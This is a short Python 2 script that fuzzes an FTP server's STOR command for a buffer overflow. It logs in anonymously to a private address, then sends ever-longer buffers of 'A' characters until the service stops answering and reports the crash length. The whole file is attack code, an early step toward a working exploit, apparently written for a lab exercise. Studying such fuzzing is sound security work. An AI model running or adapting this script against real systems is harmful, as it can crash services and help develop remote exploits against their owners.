#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)



print "\nSending evil buffer..."
s.connect(('192.168.2.131',21))
data = s.recv(1024)
print data
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
print data
s.send('PASS anonymous@' + '\r\n')
data = s.recv(1024)
print data

number = 100

while True:
    try:
        print "Testing Overflow with "+ str(number) + " characters."
        buffer = '\x41' * number + '\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39'
        print "Testing Overflow in command STOR" 
        s.send('STOR ' + buffer + '\r\n')
        data = s.recv(1024)
        print data
        number += 100
    except socket.timeout:
        print " Program Crashed with " + str(number) + " characters."
        break;
s.close()
